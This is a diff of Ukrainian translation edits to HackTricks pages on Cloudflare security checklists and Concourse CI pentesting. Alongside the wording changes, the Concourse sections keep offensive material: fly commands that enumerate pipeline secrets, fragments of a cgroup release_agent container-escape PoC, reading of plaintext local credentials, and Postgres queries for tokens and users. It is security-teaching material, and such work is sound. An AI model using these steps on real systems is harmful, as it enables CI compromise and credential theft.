||||
|
||||
> [!NOTE]
|
||||
> На відміну від [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) є в основному статичними — вони не підтримують жодні операції заміни рядків або регулярні вирази. Однак ви можете налаштувати параметри перенаправлення URL, які впливають на їх поведінку при співпадінні URL та їх поведінку під час виконання.
|
||||
> На відміну від [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) є по суті статичними — вони не підтримують жодні операції заміни рядків або регулярні вирази. Однак ви можете налаштувати параметри перенаправлення URL, які впливають на їх поведінку при співпадінні URL та їх поведінку під час виконання.
|
||||
|
||||
- [ ] Перевірте, що **вирази** та **вимоги** для перенаправлень **мають сенс**.
|
||||
- [ ] Також перевірте наявність **чутливих прихованих кінцевих точок**, які містять цікаву інформацію.
|
||||
@@ -125,7 +125,7 @@ cloudflare-zero-trust-network.md
|
||||
- [ ] У членах можна перевірити, які **учасники** мають **2FA увімкнено**. **Кожен** користувач повинен мати його увімкненим.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що, на щастя, роль **`Administrator`** не надає дозволів на управління членством (**не може підвищити привілеї або запрошувати** нових учасників).
|
||||
> Зверніть увагу, що, на щастя, роль **`Administrator`** не надає дозволів на управління членством (**не може підвищити привілеї або запросити** нових учасників).
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
В кожному TLD, налаштованому в Cloudflare, є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
|
||||
У кожному TLD, налаштованому в Cloudflare, є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -13,24 +13,24 @@
|
||||
|
||||
### Аналітика
|
||||
|
||||
- [ ] У **`Security`** перевірте, чи є будь-яке **обмеження швидкості**
|
||||
- [ ] У **`Security`** перевірити, чи є будь-яке **обмеження швидкості**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Перевірте **цікаві** (чутливі?) дані в DNS **записах**
|
||||
- [ ] Перевірте наявність **субдоменів**, які можуть містити **чутливу інформацію** лише на основі **імені** (наприклад, admin173865324.domin.com)
|
||||
- [ ] Перевірте веб-сторінки, які **не є** **проксованими**
|
||||
- [ ] Перевірте **проксовані веб-сторінки**, до яких можна **доступитися безпосередньо** за допомогою CNAME або IP-адреси
|
||||
- [ ] Перевірте, що **DNSSEC** **увімкнено**
|
||||
- [ ] Перевірте, що **CNAME Flattening** **використовується** в **усіх CNAME**
|
||||
- [ ] Перевірити **цікаві** (чутливі?) дані в DNS **записах**
|
||||
- [ ] Перевірити наявність **субдоменів**, які можуть містити **чутливу інформацію** лише на основі **імені** (наприклад, admin173865324.domin.com)
|
||||
- [ ] Перевірити веб-сторінки, які **не є** **проксованими**
|
||||
- [ ] Перевірити **проксовані веб-сторінки**, до яких можна **доступитися безпосередньо** за допомогою CNAME або IP-адреси
|
||||
- [ ] Перевірити, що **DNSSEC** **увімкнено**
|
||||
- [ ] Перевірити, що **CNAME Flattening** **використовується** в **усіх CNAME**
|
||||
- Це може бути корисно для **приховування вразливостей захоплення субдоменів** та покращення часу завантаження
|
||||
- [ ] Перевірте, що домени [**не вразливі до спуфінгу**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
- [ ] Перевірити, що домени [**не вразливі до спуфінгу**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
|
||||
### **Електронна пошта**
|
||||
|
||||
TODO
|
||||
|
||||
### Spectrum
|
||||
### Спектр
|
||||
|
||||
TODO
|
||||
|
||||
@@ -58,14 +58,14 @@ TODO
|
||||
- [ ] У розділі **`API Shield`** рекомендується перевірити, що він **увімкнений**, якщо будь-який API відкритий у Cloudflare
|
||||
- [ ] У розділі **`DDoS`** рекомендується увімкнути **захист від DDoS**
|
||||
- [ ] У розділі **`Settings`**:
|
||||
- [ ] Перевірте, що **`Security Level`** є **середнім** або вищим
|
||||
- [ ] Перевірте, що **`Challenge Passage`** становить максимум 1 годину
|
||||
- [ ] Перевірте, що **`Browser Integrity Check`** **увімкнено**
|
||||
- [ ] Перевірте, що **`Privacy Pass Support`** **увімкнено**
|
||||
- [ ] Перевірити, що **`Security Level`** є **середнім** або вищим
|
||||
- [ ] Перевірити, що **`Challenge Passage`** становить максимум 1 годину
|
||||
- [ ] Перевірити, що **`Browser Integrity Check`** **увімкнено**
|
||||
- [ ] Перевірити, що **`Privacy Pass Support`** **увімкнено**
|
||||
|
||||
#### **Захист DDoS CloudFlare**
|
||||
|
||||
- Якщо можете, увімкніть **Bot Fight Mode** або **Super Bot Fight Mode**. Якщо ви захищаєте якийсь API, доступний програмно (наприклад, з JS фронтенд-сторінки). Ви можете не зможете увімкнути це, не зламавши цей доступ.
|
||||
- Якщо можливо, увімкніть **Bot Fight Mode** або **Super Bot Fight Mode**. Якщо ви захищаєте якийсь API, доступний програмно (наприклад, з JS фронтенд-сторінки). Ви можете не мати можливості увімкнути це, не зламавши цей доступ.
|
||||
- У **WAF**: Ви можете створити **обмеження швидкості за URL-адресою** або для **перевірених ботів** (правила обмеження швидкості), або **блокувати доступ** на основі IP, Cookie, реферера...). Таким чином, ви можете блокувати запити, які не надходять з веб-сторінки або не мають cookie.
|
||||
- Якщо атака з **перевіреного бота**, принаймні **додайте обмеження швидкості** для ботів.
|
||||
- Якщо атака на **конкретний шлях**, як механізм запобігання, додайте **обмеження швидкості** в цьому шляху.
|
||||
@@ -74,7 +74,7 @@ TODO
|
||||
- У розділі **Інструменти** ви можете **блокувати або ставити виклик конкретним IP** та **агентам користувача.**
|
||||
- У DDoS ви можете **перезаписати деякі правила, щоб зробити їх більш обмежувальними**.
|
||||
- **Налаштування**: Встановіть **Security Level** на **Високий** та на **Під атакою**, якщо ви під атакою, і щоб **Browser Integrity Check був увімкнений**.
|
||||
- У Cloudflare Domains -> Analytics -> Security -> Перевірте, чи **обмеження швидкості** увімкнено
|
||||
- У Cloudflare Domains -> Analytics -> Security -> Перевірте, чи **увімкнено обмеження швидкості**
|
||||
- У Cloudflare Domains -> Security -> Events -> Перевірте наявність **виявлених шкідливих подій**
|
||||
|
||||
### Доступ
|
||||
@@ -111,7 +111,7 @@ TODO
|
||||
|
||||
### Користувацькі сторінки
|
||||
|
||||
- [ ] Налаштування користувацьких сторінок, коли виникає помилка, пов'язана з безпекою (наприклад, блокування, обмеження швидкості або режим "я під атакою"), є необов'язковим
|
||||
- [ ] Налаштування користувацьких сторінок, коли виникає помилка, пов'язана з безпекою (наприклад, блокування, обмеження швидкості або я під атакою), є необов'язковим
|
||||
|
||||
### Додатки
|
||||
|
||||
@@ -119,7 +119,7 @@ TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Перевірте, що **обфускація адрес електронної пошти** **увімкнена**
|
||||
- [ ] Перевірте, що **обфускація електронної пошти** **увімкнена**
|
||||
- [ ] Перевірте, що **виключення на стороні сервера** **увімкнені**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -6,56 +6,56 @@
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
### Аналітика
|
||||
|
||||
- [ ] Корисно для **ознайомлення з середовищем**
|
||||
|
||||
### **Gateway**
|
||||
### **Шлюз**
|
||||
|
||||
- [ ] У **`Policies`** можна створити політики для **обмеження** доступу до додатків за **DNS**, **мережею** або **HTTP** запитом.
|
||||
- [ ] У **`Політиках`** можна створювати політики для **обмеження** доступу до додатків за **DNS**, **мережею** або **HTTP** запитом.
|
||||
- Якщо використовується, **політики** можуть бути створені для **обмеження** доступу до шкідливих сайтів.
|
||||
- Це **актуально лише якщо використовується шлюз**, якщо ні, немає причин створювати захисні політики.
|
||||
|
||||
### Access
|
||||
### Доступ
|
||||
|
||||
#### Applications
|
||||
#### Додатки
|
||||
|
||||
На кожному додатку:
|
||||
|
||||
- [ ] Перевірте **хто** може отримати доступ до додатку в **Policies** і переконайтеся, що **тільки** **користувачі**, які **потребують доступу** до додатку, можуть отримати доступ.
|
||||
- Для надання доступу будуть використовуватися **`Access Groups`** (також можна встановити **додаткові правила**)
|
||||
- [ ] Перевірте **доступні постачальники ідентичності** і переконайтеся, що вони **не занадто відкриті**
|
||||
- [ ] У **`Settings`**:
|
||||
- [ ] Перевірте **хто** може отримати доступ до додатку в **Політиках** і переконайтеся, що **тільки** **користувачі**, які **потребують доступу** до додатку, можуть отримати доступ.
|
||||
- Для надання доступу будуть використовуватися **`Групи доступу`** (також можуть бути встановлені **додаткові правила**)
|
||||
- [ ] Перевірте **доступних постачальників ідентичності** і переконайтеся, що вони **не занадто відкриті**
|
||||
- [ ] У **`Налаштуваннях`**:
|
||||
- [ ] Перевірте, що **CORS не увімкнено** (якщо увімкнено, перевірте, що воно **безпечне** і не дозволяє все)
|
||||
- [ ] Cookies повинні мати атрибут **Strict Same-Site**, **HTTP Only** і **binding cookie** повинні бути **увімкнені**, якщо додаток є HTTP.
|
||||
- [ ] Розгляньте можливість увімкнення також **Browser rendering** для кращого **захисту. Більше інформації про** [**ізоляцію віддаленого браузера тут**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Файли cookie повинні мати атрибут **Strict Same-Site**, **HTTP Only** і **прив'язка cookie** повинна бути **увімкнена**, якщо додаток є HTTP.
|
||||
- [ ] Розгляньте можливість увімкнення також **рендерингу браузера** для кращого **захисту. Більше інформації про** [**ізоляцію віддаленого браузера тут**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
#### **Групи доступу**
|
||||
|
||||
- [ ] Перевірте, що згенеровані групи доступу **правильно обмежені** для користувачів, яким вони повинні надавати доступ.
|
||||
- [ ] Особливо важливо перевірити, що **група доступу за замовчуванням не є дуже відкритою** (вона **не дозволяє занадто багатьом людям**) оскільки за **замовчуванням** будь-хто в цій **групі** зможе **отримати доступ до додатків**.
|
||||
- [ ] Особливо важливо перевірити, що **група доступу за замовчуванням не є дуже відкритою** (вона **не дозволяє занадто багатьом людям**), оскільки за **замовчуванням** будь-хто в цій **групі** зможе **отримати доступ до додатків**.
|
||||
- Зверніть увагу, що можливо надати **доступ** **ВСІМ** та інші **дуже відкриті політики**, які не рекомендуються, якщо це не є 100% необхідним.
|
||||
|
||||
#### Service Auth
|
||||
#### Аутентифікація сервісу
|
||||
|
||||
- [ ] Перевірте, що всі токени сервісу **закінчуються через 1 рік або менше**
|
||||
|
||||
#### Tunnels
|
||||
#### Тунелі
|
||||
|
||||
TODO
|
||||
|
||||
### My Team
|
||||
### Моя команда
|
||||
|
||||
TODO
|
||||
|
||||
### Logs
|
||||
### Журнали
|
||||
|
||||
- [ ] Ви можете шукати **неочікувані дії** від користувачів
|
||||
|
||||
### Settings
|
||||
### Налаштування
|
||||
|
||||
- [ ] Перевірте **тип плану**
|
||||
- [ ] Можна побачити **ім'я власника кредитної картки**, **останні 4 цифри**, **дату закінчення** та **адресу**
|
||||
- [ ] Рекомендується **додати термін дії користувача** для видалення користувачів, які насправді не використовують цей сервіс
|
||||
- [ ] Рекомендується **додати термін дії користувацького місця**, щоб видалити користувачів, які насправді не використовують цей сервіс
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Concourse дозволяє вам **створювати конвеєри** для автоматичного виконання тестів, дій та створення образів, коли вам це потрібно (за часом, коли щось відбувається...)
|
||||
Concourse дозволяє вам **створювати конвеєри** для автоматичного виконання тестів, дій та створення зображень, коли це необхідно (за часом, коли щось відбувається...)
|
||||
|
||||
## Архітектура Concourse
|
||||
|
||||
|
||||
@@ -20,13 +20,13 @@ ATC є серцем Concourse. Він запускає **веб UI та API** і
|
||||
|
||||
TSA є **кастомізованим SSH сервером**, який використовується виключно для безпечної **реєстрації** [**працівників**](https://concourse-ci.org/internals.html#architecture-worker) з [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
TSA за **замовчуванням слухає на порту `2222`** і зазвичай розміщується разом з [ATC](https://concourse-ci.org/internals.html#component-atc) і знаходиться за балансувальником навантаження.
|
||||
TSA за **замовчуванням слухає на порту `2222`** і зазвичай розташований разом з [ATC](https://concourse-ci.org/internals.html#component-atc) і знаходиться за балансувальником навантаження.
|
||||
|
||||
**TSA реалізує CLI через SSH з'єднання,** підтримуючи [**ці команди**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### Працівники
|
||||
|
||||
Для виконання завдань Concourse повинен мати кілька працівників. Ці працівники **реєструють себе** через [TSA](https://concourse-ci.org/internals.html#component-tsa) і запускають сервіси [**Garden**](https://github.com/cloudfoundry-incubator/garden) та [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
Для виконання завдань Concourse повинен мати деяких працівників. Ці працівники **реєструються** через [TSA](https://concourse-ci.org/internals.html#component-tsa) і запускають сервіси [**Garden**](https://github.com/cloudfoundry-incubator/garden) та [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: Це **API управління контейнерами**, зазвичай працює на **порту 7777** через **HTTP**.
|
||||
- **Baggageclaim**: Це **API управління томами**, зазвичай працює на **порту 7788** через **HTTP**.
|
||||
|
||||
@@ -12,10 +12,10 @@ Concourse має п'ять ролей:
|
||||
- **owner**: Власники команди можуть **змінювати все в межах команди**.
|
||||
- **member**: Члени команди можуть **читати та писати** в межах **ресурсів команди**, але не можуть змінювати налаштування команди.
|
||||
- **pipeline-operator**: Оператори конвеєра можуть виконувати **операції конвеєра**, такі як запуск збірок і закріплення ресурсів, однак вони не можуть оновлювати конфігурації конвеєра.
|
||||
- **viewer**: Глядачі команди мають **доступ "тільки для читання" до команди** та її конвеєрів.
|
||||
- **viewer**: Переглядачі команди мають **доступ "тільки для читання" до команди** та її конвеєрів.
|
||||
|
||||
> [!NOTE]
|
||||
> Більше того, **дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені** шляхом налаштування RBAC (більш конкретно, його дій). Читайте більше про це на: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Більше того, **дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені** шляхом налаштування RBAC (більш конкретно, його дій). Читайте більше про це за адресою: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Зверніть увагу, що Concourse **групує конвеєри всередині команд**. Тому користувачі, які належать до команди, зможуть керувати цими конвеєрами, і **може існувати кілька команд**. Користувач може належати до кількох команд і мати різні дозволи в кожній з них.
|
||||
|
||||
@@ -34,7 +34,6 @@ Concourse має п'ять ролей:
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
```markdown
|
||||
Або використовуючи наступні `fly` **аргументи**:
|
||||
|
||||
- `-v` або `--var` `NAME=VALUE` встановлює рядок `VALUE` як значення для змінної `NAME`.
|
||||
@@ -44,7 +43,7 @@ vars: { tag: 1.13 }
|
||||
|
||||
#### Управління обліковими даними
|
||||
|
||||
Існують різні способи, як **менеджер облікових даних може бути вказаний** у конвеєрі, читайте про це в [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Існують різні способи, як **менеджер облікових даних може бути вказаний** в конвеєрі, читайте як в [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Більше того, Concourse підтримує різні менеджери облікових даних:
|
||||
|
||||
- [Менеджер облікових даних Vault](https://concourse-ci.org/vault-credential-manager.html)
|
||||
@@ -58,11 +57,11 @@ vars: { tag: 1.13 }
|
||||
- [Повторна спроба невдалих запитів](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо у вас є якийсь **доступ на запис до Concourse**, ви можете створювати завдання для **екстракції цих секретів**, оскільки Concourse повинен мати можливість отримувати до них доступ.
|
||||
> Зверніть увагу, що якщо у вас є якийсь вид **доступу на запис до Concourse**, ви можете створювати завдання для **екстракції цих секретів**, оскільки Concourse повинен мати можливість отримувати до них доступ.
|
||||
|
||||
### Перерахування Concourse
|
||||
|
||||
Щоб перерахувати середовище concourse, спочатку потрібно **зібрати дійсні облікові дані** або знайти **авторизований токен**, ймовірно, у конфігураційному файлі `.flyrc`.
|
||||
Щоб перерахувати середовище concourse, спочатку потрібно **зібрати дійсні облікові дані** або знайти **авторизований токен**, ймовірно, в конфігураційному файлі `.flyrc`.
|
||||
|
||||
#### Вхід та перерахування поточного користувача
|
||||
|
||||
@@ -70,7 +69,7 @@ vars: { tag: 1.13 }
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Отримати налаштовані **цілі**:
|
||||
- `fly targets`
|
||||
- Перевірити, чи **підключення до цілі** все ще **дійсне**:
|
||||
- Перевірити, чи налаштоване **з'єднання з ціллю** все ще **дійсне**:
|
||||
- `fly -t <target> status`
|
||||
- Отримати **роль** користувача щодо вказаної цілі:
|
||||
- `fly -t <target> userinfo`
|
||||
@@ -82,7 +81,7 @@ vars: { tag: 1.13 }
|
||||
|
||||
- Отримати список команд
|
||||
- `fly -t <target> teams`
|
||||
- Отримати ролі всередині команди
|
||||
- Отримати ролі в команді
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Отримати список користувачів
|
||||
- `fly -t <target> active-users`
|
||||
@@ -96,7 +95,6 @@ vars: { tag: 1.13 }
|
||||
- Отримати всі **змінні конфігурації конвеєра**:
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Отримати всі **імена секретів конвеєра**, що використовуються (якщо ви можете створити/змінити завдання або захопити контейнер, ви можете їх екстрактувати):
|
||||
```
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
@@ -140,7 +138,7 @@ fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
|
||||
- **Вкрасти секрети** всередині **контейнера**
|
||||
- Спробувати **втекти** на вузол
|
||||
- Перерахувати/Зловживати **метаданими хмари** (з поду та з вузла, якщо це можливо)
|
||||
- Перерахувати/Зловживати **інтерфейсом метаданих хмари** (з пода та з вузла, якщо це можливо)
|
||||
|
||||
#### Створення/Модифікація конвеєра
|
||||
|
||||
@@ -172,7 +170,7 @@ SUPER_SECRET: ((super.secret))
|
||||
|
||||
- **Вкрасти** **секрети** (через їх виведення або зайшовши в контейнер і запустивши `env`)
|
||||
- **Вийти** на **вузол** (надавши вам достатні привілеї - `privileged: true`)
|
||||
- Перерахувати/Зловживати **метаданими хмари** (з поду та з вузла)
|
||||
- Перерахувати/Зловживати **метаданими хмари** (з пода та з вузла)
|
||||
- **Видалити** створений конвеєр
|
||||
|
||||
#### Виконати Користувацьке Завдання
|
||||
@@ -203,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
|
||||
|
||||
У попередніх розділах ми бачили, як **виконати привілейоване завдання з concourse**. Це не надасть контейнеру точно такого ж доступу, як привілейований прапор у контейнері docker. Наприклад, ви не побачите пристрій файлової системи вузла в /dev, тому втеча може бути більш "складною".
|
||||
|
||||
У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими змінами:
|
||||
У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими модифікаціями:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -262,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
cat /output
|
||||
```
|
||||
> [!WARNING]
|
||||
> Як ви могли помітити, це просто [**регулярний escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), просто модифікуючи шлях cmd у вузлі
|
||||
> Як ви, можливо, помітили, це просто [**регулярний escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), просто модифікуючи шлях до cmd у вузлі
|
||||
|
||||
#### Втеча до вузла з контейнера Worker
|
||||
|
||||
@@ -295,9 +293,9 @@ cat /output
|
||||
```
|
||||
#### Втеча до вузла з веб-контейнера
|
||||
|
||||
Навіть якщо веб-контейнер має деякі захисти вимкненими, він **не працює як звичайний привілейований контейнер** (наприклад, ви **не можете** **монтувати** і **можливості** дуже **обмежені**, тому всі прості способи втечі з контейнера марні).
|
||||
Навіть якщо веб-контейнер має деякі засоби захисту вимкненими, він **не працює як звичайний привілейований контейнер** (наприклад, ви **не можете** **монтувати** і **можливості** дуже **обмежені**, тому всі прості способи втечі з контейнера марні).
|
||||
|
||||
Однак він зберігає **локальні облікові дані у відкритому тексті**:
|
||||
Однак він зберігає **локальні облікові дані у відкритому вигляді**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -306,7 +304,7 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Ви можете використовувати ці облікові дані для **входу на веб-сервер** та **створення привілейованого контейнера та втечі до вузла**.
|
||||
Ви можете використовувати ці облікові дані для **входу на веб-сервер** та **створення привілейованого контейнера і втечі до вузла**.
|
||||
|
||||
У середовищі ви також можете знайти інформацію для **доступу до постgresql** екземпляра, який використовує concourse (адреса, **ім'я користувача**, **пароль** та база даних серед іншої інформації):
|
||||
```bash
|
||||
@@ -329,17 +327,17 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
#### Зловживання службою Garden - Не справжня атака
|
||||
#### Зловживання Garden Service - Не справжня атака
|
||||
|
||||
> [!WARNING]
|
||||
> Це лише кілька цікавих нотаток про службу, але оскільки вона слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше
|
||||
> Це лише деякі цікаві нотатки про сервіс, але оскільки він слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше
|
||||
|
||||
За замовчуванням кожен працівник concourse буде запускати службу [**Garden**](https://github.com/cloudfoundry/garden) на порту 7777. Ця служба використовується веб-майстром для вказівки працівнику **що потрібно виконати** (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є кілька хороших захистів:
|
||||
За замовчуванням кожен concourse worker буде запускати сервіс [**Garden**](https://github.com/cloudfoundry/garden) на порту 7777. Цей сервіс використовується веб-майстром для вказівки worker **що йому потрібно виконати** (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є деякі хороші захисти:
|
||||
|
||||
- Вона **виключно локально** (127..0.0.1) і я думаю, що коли працівник аутентифікується проти вебу за допомогою спеціальної служби SSH, створюється тунель, щоб веб-сервер міг **спілкуватися з кожною службою Garden** всередині кожного працівника.
|
||||
- Веб-сервер **моніторить запущені контейнери кожні кілька секунд**, і **неочікувані** контейнери **видаляються**. Тож якщо ви хочете **запустити власний контейнер**, вам потрібно **втрутитися** в **зв'язок** між веб-сервером і службою garden.
|
||||
- Він **виключно локальний** (127..0.0.1), і я думаю, що коли worker аутентифікується проти вебу за допомогою спеціального SSH-сервісу, створюється тунель, щоб веб-сервер міг **спілкуватися з кожним Garden service** всередині кожного worker.
|
||||
- Веб-сервер **моніторить запущені контейнери кожні кілька секунд**, і **неочікувані** контейнери **видаляються**. Тож якщо ви хочете **запустити власний контейнер**, вам потрібно **втрутитися** в **зв'язок** між веб-сервером і garden service.
|
||||
|
||||
Працівники concourse працюють з високими привілеями контейнера:
|
||||
Concourse workers працюють з високими привілеями контейнера:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
@@ -350,12 +348,12 @@ Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
Однак, такі техніки, як **mounting** пристрою /dev вузла або release_agent **не спрацюють** (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється.
|
||||
Однак, такі техніки, як **монтування** пристрою /dev вузла або release_agent **не спрацюють** (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється.
|
||||
|
||||
> [!NOTE]
|
||||
> У попередньому розділі ми бачили, як втекти з привілейованого контейнера, тому якщо ми можемо **виконувати** команди в **привілейованому контейнері**, створеному **поточним** **робітником**, ми могли б **втекти до вузла**.
|
||||
|
||||
Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це схоже на контейнер, що створює новий контейнер всередині нього.
|
||||
Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це як контейнер, що створює новий контейнер всередині нього.
|
||||
|
||||
**Отримання доступу до запущеного привілейованого контейнера**
|
||||
```bash
|
||||
|
||||
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
Після генерації середовища concourse, ви можете згенерувати секрет і надати доступ SA, що працює в concourse web, для доступу до K8s секретів:
|
||||
Після створення середовища concourse, ви можете згенерувати секрет і надати доступ SA, що працює в concourse web, для доступу до K8s секретів:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -76,16 +76,16 @@ Pipeline складається зі списку [Jobs](https://concourse-ci.or
|
||||
Можна використовувати кілька різних типів кроків:
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **виконує** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) отримує [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) оновлює [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) налаштовує [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) завантажує значення в [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) виконує кроки паралельно
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) виконує кроки послідовно
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) виконує крок кілька разів; один раз для кожної комбінації значень змінних
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) намагається виконати крок і успішно завершується, навіть якщо крок не вдається
|
||||
- [`get` step](https://concourse-ci.org/get-step.html) отримує [resource](https://concourse-ci.org/resources.html)
|
||||
- [`put` step](https://concourse-ci.org/put-step.html) оновлює [resource](https://concourse-ci.org/resources.html)
|
||||
- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) налаштовує [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- [`load_var` step](https://concourse-ci.org/load-var-step.html) завантажує значення в [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) виконує кроки паралельно
|
||||
- [`do` step](https://concourse-ci.org/do-step.html) виконує кроки послідовно
|
||||
- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) виконує крок кілька разів; один раз для кожної комбінації значень змінних
|
||||
- [`try` step](https://concourse-ci.org/try-step.html) намагається виконати крок і вважається успішним, навіть якщо крок не вдався
|
||||
|
||||
Кожен [step](https://concourse-ci.org/steps.html) у [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) виконується у **своєму контейнері**. Ви можете виконувати все, що хочете, всередині контейнера _(тобто виконати мої тести, запустити цей bash-скрипт, зібрати це зображення тощо)_. Тож, якщо у вас є job з п'ятьма кроками, Concourse створить п'ять контейнерів, по одному для кожного кроку.
|
||||
Кожен [step](https://concourse-ci.org/steps.html) у [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) виконується у **своєму контейнері**. Ви можете виконувати все, що хочете, всередині контейнера _(тобто виконати мої тести, запустити цей bash-скрипт, зібрати це зображення тощо)_. Тому, якщо у вас є job з п'ятьма кроками, Concourse створить п'ять контейнерів, по одному для кожного кроку.
|
||||
|
||||
Отже, можливо вказати тип контейнера, в якому потрібно виконати кожен крок.
|
||||
|
||||
